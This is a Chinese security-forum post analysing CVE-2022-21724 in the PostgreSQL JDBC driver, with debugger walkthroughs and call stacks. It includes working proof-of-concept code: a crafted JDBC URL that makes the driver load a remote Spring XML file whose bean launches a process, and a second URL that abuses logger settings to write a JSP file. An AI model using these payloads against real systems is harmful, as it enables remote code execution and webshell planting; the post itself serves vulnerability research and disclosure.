问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析
漏洞分析
上周在github逛漏洞情报的时候,收刮到PostgreSQL数据库JDBC连接驱动存在一句话就可以利用的poc,立马尝试自主分析 参考:https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4
0x00 前言 ======= 在我不清楚这个漏洞的触发原因时,还傻乎乎的先搭建了个PostgreSQL数据库。。。 0x01 RCE 漏洞描述 ============= PostgreSQL JDBC Driver是一个用 Pure Java(Type 4)编写的开源 JDBC 驱动程序,用于 PostgreSQL 本地网络协议中进行通信。 PostgreSQL JDBC Driver(简称 PgJDBC)存在安全漏洞,该漏洞源于pgjdbc连接属性提供的类名实例化插件实例,驱动程序在实例化类之前并不验证类是否实现了预期的接口从而导致远程代码。 影响版本 ---- 根据NVD报道: • < 42.2.25 • >= 42.3.0,< 42.3.2 漏洞分析 ---- 首先我们在本地构造一个触发该漏洞的环境,先在`pom.xml`引入存在漏洞的`PostgreSQL`依赖 ```xml <!-- https://mvnrepository.com/artifact/org.postgresql/postgresql --> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.0</version> <dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>4.1.4.RELEASE</version> </dependency> ``` 根据前面提到的参考链接,我们构造以下漏洞验证代码 ```java import java.sql.DriverManager; public class cve_2022_21724 { public static void main(String[]args)throws Exception{ String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1/poc.xml"; String dbUrl = "jdbc:postgresql:///?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg; System.out.println(dbUrl); DriverManager.getConnection(dbUrl); } } ``` 在恶意poc.xml文件下填入以下内容 ```xml <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="test" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{test.start()}"/> </bean> </beans> ``` 在此处做断点,先`Force Set into`强制跟进到`java.sql.DriverManager` ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-b4104603fd05031a2d44570ef6f8faed05cf63c9.png)包中 识别判断出将利用`org.postgresql.Driver`的jdbc驱动去连接数据库 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-3986045c36e70ac4e37deebd74aa7a49aa061c66.png) 以下代码处将取出`dbUrl`中的值重新赋值,并调用`makeConnection`开始尝试连接数据库 ```java Properties props = new Properties(defaults); if (info != null) { Set<String> e = info.stringPropertyNames(); for (String propName : e) { String propValue = info.getProperty(propName); if (propValue == null) { throw new PSQLException( GT.tr("Properties for the driver contains a non-string value for the key ") + propName, PSQLState.UNEXPECTED_ERROR); } props.setProperty(propName, propValue); } } // parse URL and add more properties if ((props = parseURL(url, props)) == null) { return null; } try { // Setup java.util.logging.Logger using connection properties. setupLoggerFromProperties(props); LOGGER.log(Level.FINE, "Connecting with URL: {0}", url); // Enforce login timeout, if specified, by running the connection // attempt in a separate thread. If we hit the timeout without the // connection completing, we abandon the connection attempt in // the calling thread, but the separate thread will keep trying. // Eventually, the separate thread will either fail or complete // the connection; at that point we clean up the connection if // we managed to establish one after all. See ConnectThread for // more details. long timeout = timeout(props); if (timeout <= 0) { return makeConnection(url, props); } ``` ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-878d9d702a61c14d76fd326163b01b3efa562154.png) 跟进到`org.postgresql.jdbc#PgConnection`方法中,可以看到将调用`org.postgresql.core.ConnectionFactory#openConnection`方法,将连接数据库所需要的参数传入 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-77d3be50554dfb3dd920a09a0ffe4cf2ff58bfd3.png) 持续跟进,还是一样将所需参数带入到`org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl`方法中。我们其实也是只需要跟进`info`就好 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-d391abd9ad74cf7a2d01cbb2ddb64dca4d671d2c.png) 再跟进到`org.postgresql.core.SocketFactoryFactory#getSocketFactory`方法中,可以看到先是取出我们的`socketFactory`和`socketFactoryArg`参值,一同带入类似将`socketFactory`涉及到的类进行实例化的节奏 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-c44f45dece7ee681f8c35501bcd065137cdc79ec.png) 持续跟进可以看到它先是反射获取我们的指定类,并获取`org.springframework.context.support.ClassPathXmlApplicationContext`的构造方法,与传入的`socketFactory`相关参值一同实例化之后即解析远程访问的`poc.xml` ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-034dbdc8c5736cf3859db7a61713357ad6506f6f.png) 这里我们跟进`org.springframework.context.support.ClassPathXmlApplicationContext`的构造方法,在这里会调用其父类`AbstractXmlApplicationContext#refresh`方法以给定的恶意XML文件中加载定义 ```java public ClassPathXmlApplicationContext(String[] configLocations, boolean refresh, ApplicationContext parent) throws BeansException { super(parent); setConfigLocations(configLocations); if (refresh) { refresh(); } } ``` 我们通过`AbstractXmlApplicationContext#refresh`方法,持续跟进方法内调用的`finishBeanFactoryInitialization(beanFactory)-→org.springframework.beans.factort.support`类相关方法操作,可以看到在调用`refresh`方法开始,已经是对我们传入的`poc.xml`文件进行加载了 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-555995abbe7787f484aa7145d22599404de12f38.png) 主要调用栈如下: ```java newInstance:408, Constructor (java.lang.reflect) instantiate:62, ObjectFactory (org.postgresql.util) getSocketFactory:39, SocketFactoryFactory (org.postgresql.core) openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3) openConnection:51, ConnectionFactory (org.postgresql.core) <init>:225, PgConnection (org.postgresql.jdbc) makeConnection:466, Driver (org.postgresql) connect:265, Driver (org.postgresql) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql) main:11, cve_2022_21724 (vultest) ``` 思路总结 ---- 造成代码执行原理较为简单,通过存在漏洞的`postgresql`数据库`JDBC`驱动,构造`socketFactory`相关参数利用支持解析并加载xml的类进行实例化之后去解析咱们恶意的`poc.xml`,以实现RCE 测试远程利用 ------ 构建httpserver服务端以接受poc传参,效果如下图 ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-a9334eba27c617643a23e05cb8f80bd7806de973.png) ![](https://shs3.b.qianxin.com/attack_forum/2022/02/attach-48be387669f7cdfaa056edfc7ed59696624de5ad.png) 0x02 任意文件写入 =========== 影响版本 ---- 根据NVD报道: - 42.3.x < 42.3.3 - 42.1.x 漏洞分析 ---- pom.xml可直接利用上面RCE的依赖 poc验证代码如下: ```java import java.sql.DriverManager; public class cve_2022_21724_filewrite { public static void main(String[]args)throws Exception{ String loggerLevel="DEBUG"; String loggerFile="../hack.jsp"; String shellContent="<%25test;%25>"; String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent; System.out.println(dbUrl); DriverManager.getConnection(dbUrl); } } ``` 断点分析还是先来到`org.postgresql#connect`方法中的`Connection con = aDriver.driver.connect(url, info);`即`org.postgresql.Driver#connect`开始,将提取出传参内容带入到`setupLoggerFromProperties`方法中 ![](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-f79da910e084650962478b4da80cd78f51e8e90b.png) 持续跟进该方法,提取判断出`loggerLevel`为`DEBUG`,`loggerFile`为我们指定的文件名,以创建一个临时文件,准备将日志信息写入到该文件 ![](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-baea3f4b9f6181e32887b982c20ebcecaf75e7d7.png) 再完成以上日志操作初始化后,跳出`setupLoggerFromProperties`方法,会看到`LOGGER.log(Level.FINE, "Connecting with URL: {0}", url);`这里直接调用`java.util.logging#Logger.log`方法将URL写入了日志,由于我们写入的是jsp文件,即需要配合<%即可看作是正常写入了jsp代码进该文件。加上前面在日志文件初始化的过程中,因为URL是可控且不受过滤干扰,所以总体下来我们可以实现任意文件写入。 ![](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-67a4ec631de1a7a114a1e158e60a8f653639d57c.png) 主要调用栈如下: ```java log:824, Logger (java.util.logging) connect:253, Driver (org.postgresql) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql) main:13, cve_2022_21724_filewrite (vultest) ``` 思路总结 ---- 在利用postgresql的jdbc连接提供的数据源时,会进行日志初始化等操作,我们只需要指定`loggerLevel`和`loggerFile`即可将`jdbc://`的URL内容写入指定文件 本地利用效果图 ------- ![](https://shs3.b.qianxin.com/attack_forum/2022/03/attach-00a83a70819e469010c06ea9be786a6e315010f9.png) END~
发表于 2022-03-16 14:07:29
阅读 ( 11619 )
分类:
漏洞分析
4 推荐
收藏
0 条评论
请先
登录
后评论
w1nk1
12 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!